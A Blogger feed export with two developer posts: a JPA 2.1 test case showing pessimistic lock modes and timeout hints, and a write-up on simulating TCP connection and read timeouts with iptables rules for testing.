tag:blogger.com,1999:blog-300184302024-02-19T14:08:05.375+08:00A nameless soldier...DON'T frown. You never know who is falling in love with your smile.Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.comBlogger67125tag:blogger.com,1999:blog-30018430.post-40231977485841978512014-06-30T17:30:00.001+08:002014-06-30T17:30:46.235+08:00JPA2.1 and LockModeType<div class="tr_bq">
Below is a self-explained test case.</div>
<blockquote>
@Rollback(true)<br /> @Test<br /> public void testLock() {<br /> /**<br /> * Find by primary key. Search for an entity of the specified class and<br /> * primary key. If the entity instance is contained in the persistence<br /> * context, it is returned from there...Note that only the find(...)<br /> * method of entity manager will try to retrieve entity from persistence<br /> * context first.<br /> */<br /> Merchant retailer = this.getMerchantDao().findById(Merchant.class, 111l);<br /> System.out.println(retailer.getName());<br /> Map<string object=""> hints = new HashMap<string object="">();<br /> /**<br /> * Regarding what standard hints properties are supported, refer to<br /> * "#3.4.4.3 Lock Mode Properties and Use" of JPA2.1 specification<br /> * document.<br /> * <br /> * If no hint 'javax.persistence.lock.timeout' supplied, the underlying<br /> * SQL will be:<br /> * <br /> * select MERCHANT_ID from MERCHANT where MERCHANT_ID =111 for update<br /> * <br /> * If provide this hint and set value to 0, the SQL will be:<br /> * <br /> * select MERCHANT_ID from MERCHANT where MERCHANT_ID =111 for update<br /> * nowait<br /> * <br /> * If provide this hint and set a value which is greater than 0(the<br /> * measurement unit for hint is millisecond, however it is second in<br /> * SQL, that says if your provide hint with value 10 milliseconds, the<br /> * SQL will tell you wait 0 seconds ), the SQL will be:<br /> * <br /> * select MERCHANT_ID from MERCHANT where MERCHANT_ID =111 for update<br /> * wait XXX<br /> * <br /> */<br /> hints.put("javax.persistence.lock.timeout", 10000);<br /> /**<br /> * Entity manager won't query all fields of entity in this case, and<br /> * simply perform SQL: select MERCHANT_ID from MERCHANT where<br /> * MERCHANT_ID =111 for update...so it won't reload entity<br /> * <br /> * The OPTIMISTIC lock must work with version checking.<br /> */<br /> this.entityManager.lock(retailer, LockModeType.PESSIMISTIC_READ, hints);<br /> // must call refresh() to reload entity<br /> this.getEntityManager().refresh(retailer, LockModeType.PESSIMISTIC_READ);<br /> // retailer = this.getMerchantDao().findById(Merchant.class, 111l);<br /> System.out.println(retailer.getName());<br /> }</string></string></blockquote>
Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-82823296646337501202014-06-27T18:07:00.000+08:002014-07-03T14:41:21.262+08:00How to emulate network timeout?<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
How to emulate network timeout?</h1>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
Before march into how to emulate network timeout, we have to understand the details of network timeout first.</div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=2" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="Socket-Timeout" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h2 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 16px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
Socket Timeout</h2>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
We already knew that there are 3 times of handshake before establish a tcp connection.<br />
- client send 'SYN'.(client: SYN_SENT)<br />
- server response 'SYN'+'ACK'(client: SYN_SENT, server:SYN_SENT)<br />
- client response 'ACK'(client:ESTABLISHED, server(got ACK):ESTABLISHED)<br />
<img alt="" src="http://192.168.2.9:3000/attachments/download/273" style="vertical-align: middle;" /></div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=3" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="Client-Connects-to-a-Nonexistent-Port" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h3 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 13px; margin: 0px 0px 5px; padding: 2px 10px 1px 0px;">
Client Connects to a Nonexistent Port</h3>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
In this case, host's IP is valid, however the tcp port is nonexistent, and in general server will response 'connection refused'.</div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=4" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="Client-Connects-to-a-Nonexistent-IP" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h3 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 13px; margin: 0px 0px 5px; padding: 2px 10px 1px 0px;">
Client Connects to a Nonexistent IP</h3>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
In this case, client will get 'host unreachable'.</div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=5" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="Packet-Lost-During-Establishing-Connection" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h3 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 13px; margin: 0px 0px 5px; padding: 2px 10px 1px 0px;">
Packet Lost During Establishing Connection</h3>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
As there are 3 times of handshake, each packet maybe lost in network.</div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=6" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="SYN-of-client-lost" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h4 style="background-color: white; border-bottom-color: rgb(192, 192, 192); border-bottom-style: dotted; border-bottom-width: 1px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 13px; margin-bottom: 5px; padding: 2px 10px 1px 0px;">
SYN of client lost</h4>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
As no 'ACK' of 'SYN', client will keep resending 'SYN'. If the process of resending fail finally, connection timeout occurs.</div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=7" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="SYNACK-of-server-lost" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h4 style="background-color: white; border-bottom-color: rgb(192, 192, 192); border-bottom-style: dotted; border-bottom-width: 1px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 13px; margin-bottom: 5px; padding: 2px 10px 1px 0px;">
SYN+ACK of server lost</h4>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
As no 'ACK' of server's 'SYN', server will keep resending 'SYN'. If the process of resending fail finally, connection timeout occurs at server side. Also client can't get 'ACK', it behaves like last case.</div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=8" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="ACK-of-client-lost" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h4 style="background-color: white; border-bottom-color: rgb(192, 192, 192); border-bottom-style: dotted; border-bottom-width: 1px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 13px; margin-bottom: 5px; padding: 2px 10px 1px 0px;">
ACK of client lost</h4>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
In this case, client will regard that connection has been established successfully, however the state of server is still SYN_SENT, so if client try to send data, it won't reach the server, and as no ACK of sending, client will retransmit, and finally get connection timeout.</div>
<blockquote style="border-left-color: rgb(224, 224, 224); border-left-style: solid; border-left-width: 3px; color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-style: italic; font-weight: normal; letter-spacing: normal; margin-left: 2.4em; padding-left: 0.6em;">
Refer to <a class="external" href="http://blog.csdn.net/wy5761/article/details/17232495" style="background-image: url(http://192.168.2.9:3000/images/external.png); background-position: 0% 60%; background-repeat: no-repeat; color: #467aa7; font-weight: bold; padding-left: 12px; text-decoration: none;">深入理解socket网络异常</a></blockquote>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=9" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="Emulate-Socket-Timeout" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h2 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 16px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
Emulate Socket Timeout</h2>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
On *nix OS, we can achieve this by command 'iptables'. A full iptables reference can be found <a class="external" href="http://www.cyberciti.biz/tips/linux-iptables-examples.html" style="background-image: url(http://192.168.2.9:3000/images/external.png); background-position: 0% 60%; background-repeat: no-repeat; color: #467aa7; font-weight: bold; padding-left: 12px; text-decoration: none;" title="iptable examples">here</a> and <a class="external" href="http://linux.about.com/od/commands/l/blcmdl8_iptable.htm" style="background-image: url(http://192.168.2.9:3000/images/external.png); background-position: 0% 60%; background-repeat: no-repeat; color: #467aa7; font-weight: bold; padding-left: 12px; text-decoration: none;" title="http://www.cyberciti.biz/tips/linux-iptables-examples.html">here</a></div>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
By means of 'iptables', we will emulate 2 kinds of timeout. Let's IGPE is deployed on a remote server, and IGPE port is 9090.</div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=10" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="Emulate-Connection-Timeout" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h3 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 13px; margin: 0px 0px 5px; padding: 2px 10px 1px 0px;">
Emulate Connection Timeout</h3>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
Connection timeout means no connection established at all, in general thay says the handshakes of TCP fails. The client can be very sure that no any request data reaches the backend if connection timeout.</div>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
Use below command to drop the response SYN packet(flag SYN set).</div>
<pre style="background-color: #fafafa; border: 1px solid rgb(218, 218, 218); color: #303030; font-size: 12px; font-weight: normal; letter-spacing: normal; margin: 1em 1em 1em 1.6em; overflow-x: auto; overflow-y: hidden; padding: 2px 2px 2px 0px; width: auto;">iptables -A OUTPUT -p tcp -m tcp --tcp-flags SYN SYN --sport 9090 -j DROP
</pre>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
</div>
<blockquote style="border-left-color: rgb(224, 224, 224); border-left-style: solid; border-left-width: 3px; color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-style: italic; font-weight: normal; letter-spacing: normal; margin-left: 2.4em; padding-left: 0.6em;">
As any pakcet lost during handshake will trigger connection timeout, we can approach this by many means.</blockquote>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
The arguments of --tcp-flags is a little confused, i am not completedly understood, you can refer to the manual page. In above rule, I am trying to drop all outgoing packets whose 'SYN' flag has been set, and source tcp port is 9090.</div>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
Use below command to view your rules:</div>
<pre style="background-color: #fafafa; border: 1px solid rgb(218, 218, 218); color: #303030; font-size: 12px; font-weight: normal; letter-spacing: normal; margin: 1em 1em 1em 1.6em; overflow-x: auto; overflow-y: hidden; padding: 2px 2px 2px 0px; width: auto;">iptables -L -v
</pre>
<br style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;" /><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">And then remember to use below command to clear all your rules:</span><br style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;" /><pre style="background-color: #fafafa; border: 1px solid rgb(218, 218, 218); color: #303030; font-size: 12px; font-weight: normal; letter-spacing: normal; margin: 1em 1em 1em 1.6em; overflow-x: auto; overflow-y: hidden; padding: 2px 2px 2px 0px; width: auto;">iptables -F
</pre>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
</div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=11" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="Emulate-Read-Timeout" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h3 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 13px; margin: 0px 0px 5px; padding: 2px 10px 1px 0px;">
Emulate Read Timeout</h3>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
Read timeout means the connection has established successfully, however the client fail to get response(wail to timeout). In this case, the client can't be sure whether the request data has reached the backend or not(or say whether the request has been handled by the backend or not).</div>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
Use below command to drop the data response packet(flag PSH set).</div>
<pre style="background-color: #fafafa; border: 1px solid rgb(218, 218, 218); color: #303030; font-size: 12px; font-weight: normal; letter-spacing: normal; margin: 1em 1em 1em 1.6em; overflow-x: auto; overflow-y: hidden; padding: 2px 2px 2px 0px; width: auto;">iptables -A OUTPUT -p tcp -m tcp --tcp-flags PSH PSH --sport 9090 -j DROP
</pre>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
</div>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
- PSH flag means there is data transfer in packet, not only a control packet.(oh NO, PSH aims to inform TCP buffer to send data immediately, no need to wait buffer is fulll, refer to http://packetlife.net/blog/2011/mar/2/tcp-flags-psh-and-urg/)<br />
- I only wanna drop the response data packet, and emulate read timeout by this way.</div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=12" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="The-Retionale" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h2 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 16px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
The Retionale</h2>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
In a client/server deployment, the server port will be fixed however the client tcp port is randomly picked. To a INPUT chain(the client request), the source port is client tcp port, however to a OUTPUT chain(server response), the source port is server tcp port. This must be clarified.</div>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
In my first try, I try to emulate connection timeout by below rule:</div>
<pre style="background-color: #fafafa; border: 1px solid rgb(218, 218, 218); color: #303030; font-size: 12px; font-weight: normal; letter-spacing: normal; margin: 1em 1em 1em 1.6em; overflow-x: auto; overflow-y: hidden; padding: 2px 2px 2px 0px; width: auto;">iptables -A INPUT -p tcp -m tcp --dport 9090 -j DROP
</pre>
<br style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;" /><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">It won't result in a connction timeout, as all incoming packets will be dropped, that says no 'ACK' packet of request 'SYN' will be returned, in this case client will regard that the host is unreachable(not connection timeout). The key of emulating connection timeout is let client get the 'ACK' pakcet, however no 'SYN' packet from server, in this case, client will keep issuing 'SYN' packets and at final regard it as timeout.</span><div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
</div>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
If try to emulate read timeout, we must affect the OUTPUT chain.</div>
<div style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;">
Also seem there are build-in tool in linux can emulate these 2 situations, refer to <a class="external" href="http://www.linuxfoundation.org/collaborate/workgroups/networking/netem" style="background-image: url(http://192.168.2.9:3000/images/external.png); background-position: 0% 60%; background-repeat: no-repeat; color: #467aa7; font-weight: bold; padding-left: 12px; text-decoration: none;">netem</a></div>
<div class="contextual" style="color: #303030; float: right; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; line-height: 1.4em; margin-top: 5px; padding-left: 10px; white-space: nowrap;" title="Edit this section">
<a href="http://192.168.2.9:3000/projects/global/wiki/How_to_emulate_network_timeout/edit?section=13" style="color: #467aa7; font-weight: bold; opacity: 0.4; text-decoration: none;"><img alt="Edit" src="http://192.168.2.9:3000/images/edit.png?1334916116" style="border: 0px; vertical-align: middle;" /></a></div>
<a href="https://www.blogger.com/null" name="Referenced-Documents" style="color: #467aa7; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; letter-spacing: normal;"></a><span style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal;"></span></h1>
<h2 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 16px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
Referenced Documents</h2>
<h1 style="background-color: white; border-bottom-width: 0px; color: #606060; font-family: 'Trebuchet MS', Georgia, 'Times New Roman', serif; font-size: 20px; letter-spacing: -1px; margin: 0px 0px 10px; padding: 2px 10px 1px 0px;">
<ul style="color: #303030; font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 12px; font-weight: normal; letter-spacing: normal; margin-bottom: 1em;">
<li>iptable examples - <a class="external" href="http://www.cyberciti.biz/tips/linux-iptables-examples.html" style="background-image: url(http://192.168.2.9:3000/images/external.png); background-position: 0% 60%; background-repeat: no-repeat; color: #467aa7; font-weight: bold; padding-left: 12px; text-decoration: none;">http://www.cyberciti.biz/tips/linux-iptables-examples.html</a></li>
<li>iptable manual - <a class="external" href="http://www.cyberciti.biz/tips/linux-iptables-examples.html" style="background-image: url(http://192.168.2.9:3000/images/external.png); background-position: 0% 60%; background-repeat: no-repeat; color: #467aa7; font-weight: bold; padding-left: 12px; text-decoration: none;">http://www.cyberciti.biz/tips/linux-iptables-examples.html</a></li>
<li>understanding socket exception - <a class="external" href="http://blog.csdn.net/wy5761/article/details/17232495" style="background-image: url(http://192.168.2.9:3000/images/external.png); background-position: 0% 60%; background-repeat: no-repeat; color: #467aa7; font-weight: bold; padding-left: 12px; text-decoration: none;">http://blog.csdn.net/wy5761/article/details/17232495</a></li>
